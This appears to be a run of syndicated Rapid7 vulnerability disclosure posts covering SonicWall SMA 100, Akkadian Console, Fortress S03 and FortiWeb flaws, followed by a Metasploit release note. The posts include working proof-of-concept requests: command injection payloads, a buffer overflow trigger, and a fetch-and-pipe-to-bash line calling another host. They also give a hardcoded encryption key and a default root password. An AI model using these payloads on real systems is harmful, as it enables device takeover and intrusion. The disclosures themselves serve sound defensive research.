Over the course of routine security research, Rapid7 researcher Jake Baines discovered and reported five vulnerabilities involving the SonicWall Secure Mobile Access (SMA) 100 series of devices, which includes SMA 200, 210, 400, 410, and 500v. The most serious of these issues can lead to unauthenticated remote code execution (RCE) on affected devices. We reported these issues to SonicWall, who published software updates and have released fixes to customers and channel partners on December 7, 2021. Rapid7 urges users of the SonicWall SMA 100 series to apply these updates as soon as possible. The table below summarizes the issues found.

CVE ID CWE ID CVSS Fix
CVE-2021-20038 CWE-121: Stack-Based Buffer Overflow 9.8 SNWLID-2021-0026
CVE-2021-20039 CWE-78: Improper Neutralization of Special Elements used in an OS Command (“OS Command Injection”) 7.2 SNWLID-2021-0026
CVE-2021-20040 CWE-23: Relative Path Traversal 6.5 SNWLID-2021-0026
CVE-2021-20041 CWE-835: Loop With Unreachable Exit Condition (“Infinite Loop”) 7.5 SNWLID-2021-0026
CVE-2021-20042 CWE-441: Unintended Proxy or Intermediary (“Confused Deputy”) 6.5 SNWLID-2021-0026

The rest of this blog post goes into more detail about the issues. Vulnerability checks are available to InsightVM and Nexpose customers for all five of these vulnerabilities.

Product description

The SonicWall SMA 100 series is a popular edge network access control system, which is implemented as either a standalone hardware device, a virtual machine, or a hosted cloud instance. More about the SMA 100 series of products can be found here.

Testing was performed on the SMA 500v firmware versions 9.0.0.11-31sv and 10.2.1.1-19sv. CVE-2021-20038 and CVE-2021-20040 affect only devices running version 10.2.x, while the remaining issues affect both firmware versions. Note that the vendor has released updates and at their KB article, SNWLID-2021-0026, to address all these issues.

Credit

These issues were discovered by Jake Baines, Lead Security Researcher at Rapid7. These issues are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

CVE-2021-20038: Stack-based buffer overflow in httpd

Affected version: 10.2.1.2-24sv

The web server on tcp/443 (/usr/src/EasyAccess/bin/httpd) is a slightly modified version of the Apache httpd server. One of the notable modifications is in the mod_cgi module (/lib/mod_cgi.so). Specifically, there appears to be a custom version of the cgi_build_command function that appends all the environment variables onto a single stack-based buffer using strcat.

There is no bounds-checking on this environment string buildup, so if a malicious attacker were to generate an overly long QUERY_STRING, they can overflow the stack-based buffer. The buffer itself is declared at the top of the cgi_handler function as a 202 byte character array (although, it’s followed by a lot of other stack variables, so the depth to cause the overflow is a fair amount more).

Regardless, the following curl command demonstrates the crash when sent by a remote and unauthenticated attacker:

curl --insecure "https://10.0.0.7/?AAAA[1794 more A's here for a total of 1798 A's]"

The above will trigger the following crash and backtrace:

CVE-2021-20038..42: SonicWall SMA 100 Multiple Vulnerabilities (FIXED)

Technically, the above crash is due to an invalid read, but you can see the stack has been successfully overwritten above. A functional exploit should be able to return to an attacker’s desired address. The system does have address space layout randomization (ASLR) enabled, but it has three things working against this protection:

  1. httpd’s base address is not randomized.
  2. When httpd crashes it is auto restarted by the server, giving the attacker opportunity to guess library base addresses, if needed.
  3. SMA 100 series are 32 bit systems and ASLR entropy is low enough that guessing library addresses a feasible approach to exploitation.

Because of these factors, a reliable exploit for this issue is plausible. It’s important to note that httpd is running as the “nobody” user, so attackers don’t get to go straight to root access, but it’s one step away, as the exploit payload can su to root using the password “password.”

CVE-2021-20038 exploitation impact

This stack-based buffer overflow has a suggested CVSS score of 9.8 out of 10 — by exploiting this issue, an attack can get complete control of the device or virtual machine that’s running the SMA 100 series appliance. This can allow attackers to install malware to intercept authentication material from authorized users, or reach back into the networks protected by these devices for further attack. Edge-based network control devices are especially attractive targets for attackers, so we expect continued interest in these kinds of devices by researchers and criminal attackers alike.

CVE-2021-20039: Command injection in cgi-bin

Affected versions: 9.0.0.11-31sv, 10.2.0.8-37sv, and 10.2.1.2-24sv

The web interface uses a handful of functions to scan user-provided strings for shell metacharacters in order to prevent command injection vulnerabilities. There are three functions that implement this functionality (all of which are defined in libSys.so): isSafeCommandArg, safeSystemCmdArg, and safeSystemCmdArg2.

These functions all scan for the normal characters (&|$><;’ and so on), but they do not scan for the new line character (‘\n’). This is problematic because, when used in a string passed to system, it will act as a terminator. There are a variety of vectors an attacker could use to bypass these checks and hit system, and one (but certainly not the only) example is /cgi-bin/viewcert, which we’ll describe in more detail here.

The web interface allows authenticated individuals to upload, view, or delete SSL certificates. When deleting a certificate, the user provides the name of the directory that the certificate is in. These names are auto-generated by the system in the format of newcert-1, newcert-2, newcert-3, etc. A normal request would define something like CERT=newcert-1. The CERT variable makes it to a system call as part of an rm -rf %s command. Therefore, an attacker can execute arbitrary commands by using the ‘\n’ logic in CERT. For example, the following would execute ping to 10.0.0.9:

CERT=nj\n ping 10.0.0.9 \n

To see that in a real request, we have to first log in:

curl -v --insecure -F username=admin -F password=labpass1 -F domain=LocalDomain -F portalname=VirtualOffice -F ajax=true https://10.0.0.6/cgi-bin/userLogin

The system will set a swap cookie. That’s your login token, which can be copied into the following request. The following requests executes ping via viewcert:

curl -v --insecure --Cookie swap=WWR0MElDSXJuTjdRMElTa3lQTmRPcndnTm5xNWtqN0tQQUlLZjlKZTM1QT0= -H "User-Agent: SonicWALL Mobile Connect" -F buttontype=delete -F $'CERT=nj \nping 10.0.0.9 \n' https://10.0.0.6/cgi-bin/viewcert

It’s important to note that viewcert elevates privileges so that when the attacker hits system, they have root privileges.

CVE-2021-20039 exploitation impact

Note that this vulnerability is post-authentication and leverages the administrator account (only administrators can manipulate SSL certificates). An attacker would already need to know (or guess) a working username and password in order to elevate access from administrator to root-level privileges. In the ideal case, this is a non-trivial barrier to entry for attackers. That said, the SMA 100 series does ship with a default password for the administrator account, and most organizations allow administrators to choose their own password, and we also know that the number of users for any device that stick with the default or easily guessed passwords is non-zero.

CVE-2021-20040: Upload path traversal in sonicfiles

Affected version: 10.2.0.8-37sv and 10.2.1.2-34sv

The SMA 100 series allows users to interact with remote SMB shares through the HTTPS server. This functionality resides in the endpoint https://address/fileshare/sonicfiles/sonicfiles. Most of the functionality simply flows through the SMA series device and doesn’t actually leave anything on the device itself, with the notable exception of RacNumber=43. That is supposed to write a file to the /tmp directory, but it is vulnerable to path traversal attacks.

To be a bit more specific, RacNumber=43 takes two parameters:

  • swcctn: This value gets combined with /tmp/ + the current date to make a filename.
  • A JSON payload. The payload is de-jsonified and written to the swcctn file.

There is no validation applied to swcctn, so an attacker can provide arbitrary code. The example below writes the file "hello.html.time" to the web server’s root directory:

CVE-2021-20038..42: SonicWall SMA 100 Multiple Vulnerabilities (FIXED)

This results in:

CVE-2021-20038..42: SonicWall SMA 100 Multiple Vulnerabilities (FIXED)

CVE-2021-20040 exploitation impact

There are some real limitations to exploiting CVE-2021-20040:

  1. File writing is done with nobody privileges. That limits where an attacker can write significantly, although being able to write to the web server’s root feels like a win for the attacker.

  2. The attacker can’t overwrite any existing file due to the random digits attached to the filename.

Given these limitations, an attack scenario will likely involve tricking users into believing their custom-created content is a legitimate function of the SMA 100, for example, a password "reset" function that takes a password.

CVE-2021-20041: CPU exhaustion in sonicfiles

Affected versions: 9.0.0.11-31sv, 10.2.0.8-37sv, and 10.2.1.2-24sv

An unauthenticated, remote adversary can consume all of the device’s CPU due to crafted HTTP requests sent to hxxps://address/fileshare/sonicfiles/sonicfiles, resulting in an infinite loop in the fileexplorer process. The infinite loop is due to the way fileexplorer parses command line options. When parsing an option that takes multiple parameters, fileexplorer incorrectly handles parameters that lack spaces or use the = symbol with the parameter. For example, the following requests results in the infinite loop:

curl --insecure -v --Cookie swap=bG9s "https://10.0.0.6/fileshare/sonicfiles/sonicfiles?RacNumber=25&Arg1=smb://10.0.0.1/lol/test&Arg2=-elol&User=test&Pass=test"

The above request will result in fileexplorer being invoked like so:

/usr/sbin/fileexplorer -g smb://10.0.0.9/lol/test -elol -u test:test

Parsing the "-elol" portion triggers the infinite loop. Each new request will spin up a new fileexplorer process. Technically speaking, on the SMA 500v, only two such requests will result in ~100% CPU usage indefinitely. Output from top:

CVE-2021-20038..42: SonicWall SMA 100 Multiple Vulnerabilities (FIXED)

CVE-2021-20041 exploitation impact

A number of additional requests are required to truly deny availability, as this is not a one-shot denial of service request. It should also be noted that this is a parameter injection issue — specifically, the -e parameter is injected, and if the injection in this form didn’t result in an infinite loop, the attack would have been able to exfiltrate arbitrary files (which of course would be more useful to an attacker).

CVE-2021-20042: Confused deputy in sonicfiles

Affected versions: 9.0.0.11-31sv, 10.2.0.8-37sv, and 10.2.1.2-24sv

An unauthenticated, remote attack can use SMA 100 series devices as an "unintended proxy or intermediary," also known as a Confused Deputy attack. In short, that means an outside attacker can use the SMA 100 series device to access systems reachable via the device’s internal facing network interfaces. This is due to the fact that the sonicfiles component does not appear to validate the requestor’s authentication cookie until after the fileexplorer request is made on the attacker’s behalf. Furthermore, the security check validating that the endpoint fileexplorer is accessing is allowed is commented out from RacNumber 25 (aka COPY_FROM). Note the "_is_url_allow" logic below:

CVE-2021-20038..42: SonicWall SMA 100 Multiple Vulnerabilities (FIXED)

This results in the following:

  • An attacker can bypass the SMA 100 series device’s firewall with SMB-based requests.
  • An attacker can make arbitrary read/write SMB requests to a third party the SMA 100 series device can reach. File creation, file deletion, and file renaming are all possible.
  • An attacker can make TCP connection requests to arbitrary IP:port on a third party, allowing the remote attacker to map out available IP/ports on the protected network.

Just as a purely theoretical example, the following requests sends a SYN to 8.8.8.8:80:

curl --insecure -v --Cookie swap=bG9s "https://10.0.0.6/fileshare/sonicfiles/sonicfiles?RacNumber=25&Arg1=smb://8.8.8.8:80/test&Arg2=test&User=test&Pass=test"

CVE-2021-20042 exploitation impact

There are two significant limitations to this attack:

  • The attacker does have to honor the third-party SMB server’s authentication. So to read/write, they’ll need credentials (or anonymous/guest access).
  • An unauthenticated attacker will not see responses, so the attack will be blind. Determining the result of an attack/scan will rely on timing and server error codes.

Given these constraints, an attacker does not command complete control of resources on the protected side of the network with this issue and is likely only able to map responsive services from the protected network (with the notable exception of being able to write to, but not read from, unprotected SMB shares).

Vendor statement

SonicWall routinely collaborates with third-party researchers, penetration testers, and forensic analysis firms to ensure that its products meet or exceed security best practices. One of these valued allies, Rapid7, recently identified a range of vulnerabilities to the SMA 100 series VPN product line, which SonicWall quickly verified. SonicWall designed, tested, and published patches to correct the issues and communicated these mitigations to customers and partners. At the time of publishing, there are no known exploitations of these vulnerabilities in the wild.

Remediation

As these devices are designed to be exposed to the internet, the only effective remediation for these issues is to apply the vendor-supplied updates.

Disclosure timeline

  • October, 2021: Issues discovered by Jake Baines of Rapid7
  • Mon, Oct 18, 2021: Initial disclosure to SonicWall via [email protected]
  • Mon, Oct 18, 2021: Acknowledgement from the vendor
  • Thu, Oct 28, 2021: Validation completed and status update provided by the vendor
  • Thu, Nov 9, 2021: Test build with updates provided by the vendor
  • Tue, Dec 7, 2021: SNWLID-2021-0026 released by the vendor to customers
  • Wed, Dec 7, 2021: Vulnerability checks available to InsightVM and Nexpose customers for all CVEs in this disclosure
  • Tue, Jan 11, 2022: This public disclosure
  • Tue, Jan 11, 2022: Module for CVE-2021-20039 PR#16041 provided to Metasploit Framework
  • Tue, Jan 11, 2022: Rapid7 analyses published for CVE-2021-20038 and CVE-2021-20039 in AttackerKB.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/09/07/cve-2021-3546-78-akkadian-console-server-vulnerabilities-fixed/

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)

Over the course of routine security research, Rapid7 researchers Jonathan Peterson, Cale Black, William Vu, and Adam Cammack discovered that the Akkadian Console (often referred to as “ACO”) version 4.7, a call manager solution, is affected by two vulnerabilities. The first, CVE-2021-35468, allows root system command execution with a single authenticated POST request, and CVE-2021-35467 allows for the decryption of data encrypted by the application, which results in the arbitrary creation of sessions and the uncovering of any other sensitive data stored within the application. Combined, an unauthenticated attacker could gain remote, root privileges to a vulnerable instance of Akkadian Console Server.

CVE Identifier CWE Identifier Base CVSS score (Severity) Remediation
CVE-2021-35467 Title CWE-321: Use of Hard-Coded Cryptographic Key Fixed in Version 4.9
CVE-2021-35468 Text CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) Fixed in Version 4.9

Product Description

Akkadian Console (ACO) is a call management system allowing users to handle incoming calls with a centralized management web portal. More information is available at the vendor site for ACO.

Credit

These issues were discovered by Jonathan Peterson (@deadjakk), Cale Black, William Vu, and Adam Cammack, all of Rapid7, and it is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

The following were observed and tested on the Linux build of the Akkadian Console Server, version 4.7.0 (build 1f7ad4b) (date of creation: Feb 2 2021 per naming convention).

CVE-2021-35467: Akkadian Console Server Hard-Coded Encryption Key

Using DnSpy to decompile the bytecode of ‘acoserver.dll’ on the Akkadian Console virtual appliance, Rapid7 researchers identified that the Akkadian Console was using a static encryption key, “0c8584b9-020b-4db4-9247-22dd329d53d7”, for encryption and decryption of sensitive data. Specifically, researchers observed at least the following data encrypted using this hardcoded string:

  • User sessions (the most critical of the set, as outlined below)
  • FTP Passwords
  • LDAP credentials
  • SMTP credentials
  • Miscellaneous service credentials

The string constant that is used to encrypt/decrypt this data is hard-coded into the ‘primary’ C# library. So anyone that knows the string, or can learn the string by interrogating a shipping version of  ‘acoserver.dll’ of the server, is able to decrypt and recover these values.

In addition to being able to recover the saved credentials of various services, Rapid7 researchers were able to write encrypted user sessions for the Akkadian Console management portal with arbitrary data, granting access to administrative functionality of the application.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
The hardcoded key as shown in the decompiled code of the ACO server

The TokenService of acoserver.dll uses a hardcoded string to encrypt and decrypt user session information, as well as other data in the application that uses the ‘Encrypt’ method.

As shown in the function below, the application makes use of an ECB cipher, as well as PKCS7 padding to decrypt (and encrypt) this sensitive data.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Decrypt function present in acoserver.dll viewed with DnSpy

The image below shows an encrypted and decrypted version of an ‘Authorization’ header displaying possible variables available for manipulation. Using a short python script, one is able to create a session token with arbitrary values and then use it to connect to the Akkadian web console as an authenticated user.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Successfully decrypted a session generated by the application

Using the decrypted values of a session token, a ‘custom’ token can be created, substituting whatever values we want with a recent timestamp to successfully authenticate to the web portal.

The figure below shows this technique being used to issue a request to a restricted web endpoint that responds with the encrypted passwords of the user account. Since the same password is used to encrypt most things in the application (sessions, saved passwords for FTP, backups, LDAP, etc.), we can decrypt the encrypted passwords sent back in the response by certain portions of the application:

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Using the same private key to decrypt the encrypted admin password returned by the application

This vulnerability can be used with the next vulnerability, CVE-2021-35468, to achieve remote command execution.

CVE-2021-35468: Akkadian Console Server OS Command Injection

The Akkadian Console application provides SSL certificate generation. See the corresponding web form in the screenshot below:

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
The web functionality associated with the vulnerable endpoint

The way the application generates these certificates is by issuing a system command using  ‘/bin/bash’ to run an unsanitized ‘openssl’ command constructed from the parameters of the user’s request.

The screenshot below shows this portion of the code as it exists within the decompiled ‘acoserver.dll’.

CVE-2021-3546[78]: Akkadian Console Server Vulnerabilities (FIXED)
Vulnerable method as seen from DnSpy

Side Note: In newer versions (likely 4.7+), this “Authorization” header is actually validated. In older versions of the Akkadian Console, this API endpoint does not appear to actually enforce authorization and instead only checks for the presence of the “Authorization” header. Therefore in these older, affected versions, this endpoint and the related vulnerability could be accessed directly without the crafting of the header using CVE-2021-35467. Exact affected versions have not been researched.

The below curl command will cause the Akkadian Console server to itself run its own curl command (in the Organization field) and pipe the results to bash.

curl -i -s -k -X $'POST' \
   -H $'Host: 192.168.200.216' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0' -H $'Authorization: <OMITTED>' -H $'Content-Type: application/json' -H $'Content-Length: 231' \
   --data-binary $'{\"AlternativeNames\": [\"assdf.com\", \"asdf.com\"], \"CommonName\": \"mydomano.com\", \"Country\": \"US\", \"State\": \";;;;;`\", \"City\": \";;;``;;`\", \"Organization\": \";;;`curl 192.168.200.1/payload|bash`;;`\", \"OrganizationUnit\": \";;\", \"Email\": \"\"}' \
   $'https://192.168.200.216/api/acoweb/generateCertificate'

Once this is received by ACO, the named curl payload is executed, and a shell is spawned, but any operating system command can be executed.

Impact

CVE-2021-35467, by itself, can be exploited to allow an unauthenticated user administrative access to the application. Given that this device supports LDAP-related functionality, an attacker could then leverage this access to pivot to other assets in the organization via Active Directory via stored LDAP accounts.

CVE-2021-35468 could allow any authenticated user to execute operating system level commands with root privileges.

By combining CVE-2021-35467 and CVE-2021-35468, an unauthenticated user can first establish themselves as an authenticated user by crafting an arbitrary session, then execute commands on ACO’s host operating system as root. From there, the attacker can install any malicious software of their choice on the affected device.

Remediation

Users of Akkadian Console should update to 4.9, which has addressed these issues. In the absence of an upgrade, users of Akkadian Console version 4.7 or older should only expose the web interface to trusted networks — notably, not the internet.

Disclosure Timeline

  • April, 2021: Discovery by Jonathan Peterson and friends at Rapid7
  • Wed, Jun 16, 2021: Initial disclosure to the vendor
  • Wed, Jun 23, 2021: Updated details disclosed to the vendor
  • Tue, Jul 13, 2021: Vendor indicated that version 4.9 fixed the issues
  • Tue, Aug 3, 2021: Vendor provided a link to release notes for 4.9
  • Tue, Sep 7, 2021: Disclosure published

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/08/31/cve-2021-3927-67-fortress-s03-wifi-home-security-system-vulnerabilities/

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

Rapid7 researcher Arvind Vishwakarma discovered multiple vulnerabilities in the Fortress S03 WiFi Home Security System. These vulnerabilities could result in unauthorized access to control or modify system behavior, and access to unencrypted information in storage or in transit. CVE-2021-39276 describes an instance of CWE-287; specifically, it describes an insecure cloud API deployment which allows unauthenticated users to trivially learn a secret that can then be used to alter the system’s functionality remotely. It has an initial CVSS score of 5.3 (medium). CVE-2021-39277 describes an instance of CWE-294, a vulnerability where anyone within Radio Frequency (RF) signal range could capture and replay RF signals to alter systems behavior, and has an initial CVSS score of 5.7.

Product Description

The Fortress S03 WiFi Home Security System is a do it yourself (DIY) consumer grade home security system which leverages WiFi and RF communication to monitor doors, windows, and motion detection to spot possible intruders. Fortress can also electronically monitor the system for you, for a monthly fee. More information about the product can be found at the vendor’s website.

Credit

These issues were discovered by Rapid7 researcher Arvind Vishwakarma and are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

What follows are details regarding the two disclosed vulnerabilities. Generally speaking, these issues are trivially easy to exploit by motivated attackers who already have some knowledge of the target.

CVE-2021-39276: Unauthenticated API Access

If a malicious actor knows a user’s email address, they can use it to query the cloud-based API to return an International Mobile Equipment Identity (IMEI) number, which appears to also serve as the device’s serial number. The following post request structure is used to make this unauthenticated query and return the IMEI:

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

With a device IMEI number and the user’s email address, it is then possible for a malicious actor to make changes to the system, including disarming its alarm. To disarm the system, the following unauthenticated POST can be sent to the API:

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

CVE-2021-39277: Vulnerable to RF Signal Replay Attack

The system under test was discovered to be vulnerable to an RF replay attack. When a radio-controlled device has not properly implemented encryption or rotating key protections, this can allow an attacker to capture command-and-control signals over the air and then replay those radio signals in order to perform a function on an associated device.

As a test example, the RF signals used to communicate between the Key Fobs, Door/Window Contact Sensors, and the Fortress Console were identified in the 433 MHz band. Using a software defined radio (SDR) device, the researcher was able to capture normal operations of the device “arm” and “disarm” commands. Then, replaying the captured RF signal communication command would arm and disarm the system without further user interaction.

CVE-2021-3927[67]: Fortress S03 WiFi Home Security System Vulnerabilities

Impact

For CVE-2021-39276, an attacker can use a Fortress S03 user’s email address to easily disarm the installed home alarm without the user’s knowledge. While this is not usually much of a concern for random, opportunistic home invaders, this is particularly concerning when the attacker already knows the victim well, such as an ex-spouse or other estranged relationship partner.

CVE-2021-39277 presents similar problems but requires less prior knowledge of the victim, as the attacker can simply stake out the property and wait for the victim to use the RF-controlled devices within radio range. The attacker can then replay the “disarm” command later, without the victim’s knowledge.

Mitigations

In the absence of a patch or update, to work around the IMEI number exposure described in CVE-2021-39276, users could configure their alarm systems with a unique, one-time email address. Many email systems allow for “plus tagging” an email address. For example, a user could register “[email protected]” and treat that plus-tagged email address as a stand-in for a password.

For CVE-2021-39277, there seems to be very little a user can do to mitigate the effects of the RF replay issues, absent a firmware update to enforce cryptographic controls on RF signals. Users concerned about this exposure should avoid using key fobs and other RF devices linked to their home security systems.

Disclosure Timeline

  • May, 2021: Issues discovered by Arvind Vishwakarma of Rapid7
  • Thu, May 13, 2021: Initial contact to Fortress support email
  • Thu, May 13, 2021: Ticket #200781 created
  • Mon, May 24, 2021: Ticket #200781 closed by Fortress
  • Wed, Aug 18, 2021: Rapid7 created a follow up ticket, #203001, with vulnerability details and a reiteration of intent to publish
  • Tue, Aug 31, 2021: Published disclosure

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Fortinet FortiWeb OS Command Injection

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/08/17/fortinet-fortiweb-os-command-injection/

Fortinet FortiWeb OS Command Injection

An OS command injection vulnerability in FortiWeb’s management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This is an instance of CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) and has a CVSSv3 base score of 8.7. This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.

Product Description

Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at the vendor’s website.

Credit

This issue was discovered by researcher William Vu of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

An attacker, who is first authenticated to the management interface of the FortiWeb device, can smuggle commands using backticks in the “Name” field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system. The affected code is noted below:

int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name,
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}

The HTTP POST request and response below demonstrates an example exploit of this vulnerability:

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}

Note the smuggled ‘touch’ command is concatenated in the mkdir shell command:

[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0

Finally, the results of the ‘touch’ command can be seen on the local command line of the FortiWeb device:

/# ls -l /tmp/vulnerable
-rw-r--r--    1 root     0                0 Jun 10 11:59 /tmp/vulnerable
/#

Impact

An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet.

Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as CVE-2020-29015.

Remediation

In the absence of a patch, users are advised to disable the FortiWeb device’s management interface from untrusted networks, which would include the internet. Generally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway — instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

Metasploit Wrap-Up

Post Syndicated from Matthew Kienow original https://blog.rapid7.com/2021/08/06/metasploit-wrap-up-124/

Desert heat (not the 1999 film)

Metasploit Wrap-Up

This week was more quiet than normal with Black Hat USA and DEF CON, but that didn’t stop the team from delivering some small enhancements and bug fixes! We are also excited to see two new modules #15519 and #15520 from researcher Jacob Baines’ DEF CON talk ​​Bring Your Own Print Driver Vulnerability already appear in the PR queue. Keep an eye out for those modules in the near future!

Our very own Simon Janusz enhanced the CommandDispatcher and SessionManager to support using a negative ID with both the jobs and sessions commands. Quickly access the last job or session by passing -1 to the command. The change allows users to upgrade the most recently opened session to meterpreter using the command sessions -u -1, thus removing the need to run the post/multi/manage/shell_to_meterpreter module.

In addition, our very own Alan David Foster updated the PostgreSQL scanner/postgres/postgres_schemadump module so that it does not ignore the default postgres database. That default database might contain valuable information after all! The enhancements also introduce a new datastore option, IGNORED_DATABASES, to configure a list of databases ignored during the schema dump.

Enhancements and features

  • #15492 from sjanusz-r7 – Adds support for negative session and job ids.
  • #15498 from adfoster-r7 – Updates the PostgreSQL schema_dump module to no longer ignore the default postgres database which may contain useful information, and adds a new datastore option to configure ignored databases.

Bugs fixed

  • #15500 from agalway-r7 – Fixes a regression issue for gitlab_file_read_rce and cacti_filter_sqli_rce where the modules failed to run
  • #15503 from jheysel-r7 – A bug has been fixed in the Cisco Hyperflex file upload RCE module that prevented it from properly deleting the uploaded payload files. Uploaded payload files should now be properly deleted.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate
and you can get more details on the changes since the last blog post from
GitHub:

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest.
To install fresh without using git, you can use the open-source-only Nightly Installers or the
binary installers (which also include the commercial edition).

CVE-2021-20025: SonicWall Email Security Appliance Backdoor Credential

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/06/23/cve-2021-20025-sonicwall-email-security-appliance-backdoor-credential/

